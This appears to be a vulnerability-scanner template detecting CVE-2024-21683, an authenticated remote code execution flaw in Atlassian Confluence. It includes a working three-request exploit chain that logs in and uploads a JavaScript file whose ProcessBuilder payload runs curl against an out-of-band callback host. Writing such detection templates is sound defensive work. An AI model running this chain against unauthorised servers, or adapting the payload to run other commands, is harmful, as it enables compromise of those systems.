Atlassian Confluence Data Center and Server - Remote Code Execution

id: CVE-2024-21683

info:
  name: Atlassian Confluence Data Center and Server - Remote Code Execution
  author: pdresearch
  severity: high
  description: |
    Detects a Remote Code Execution vulnerability in Confluence Data Center and Server versions prior to X.X (affected versions). This issue allows authenticated attackers to execute arbitrary code.
  impact: |
    Authenticated attackers can execute arbitrary code on the Confluence server, potentially compromising the entire system and accessing sensitive data.
  remediation: |
    Update Atlassian Confluence Data Center and Server to the latest patched version.
  reference:
    - https://confluence.atlassian.com/security/security-bulletin-may-21-2024-1387867145.html
    - https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21683
    - https://confluence.atlassian.com/pages/viewpage.action?pageId=1387867145
    - https://jira.atlassian.com/browse/CONFSERVER-95832
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-21683
    cwe-id: CWE-78
    epss-score: 0.88267
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    fofa-query: "app=\"ATLASSIAN-Confluence\""
    product: confluence_data_center
    vendor: atlassian
  tags: cve,cve2024,atlassian,confluence,rce,authenticated,intrusive,vkev,vuln
variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /dologin.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        os_username={{username}}&os_password={{password}}&login=Log+in&os_destination=

      - |
        POST /doauthenticate.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Atlassian-Token: no-check

        password={{password}}&authenticate=Confirm&destination=%2Fadmin%2Fplugins%2Fnewcode%2Faddlanguage.action

      - |
        POST /admin/plugins/newcode/addlanguage.action HTTP/1.1
        Host: {{Hostname}}
        X-Atlassian-Token: no-check
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFcBwsDjo5LkYWGWE

        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE
        Content-Disposition: form-data; name="languageFile";filename="{{randstr}}.js"
        Content-type: text/javascript

        new java.lang.ProcessBuilder["(java.lang.String[])"](["curl","{{interactsh-url}}"]).start()
        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE
        Content-Disposition: form-data; name="newLanguageName"

        {{randstr}}
        ------WebKitFormBoundaryFcBwsDjo5LkYWGWE--

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 302 && status_code_2 == 302
          - contains(interactsh_protocol, 'dns')
          - contains(body_3, "confluence")
        condition: and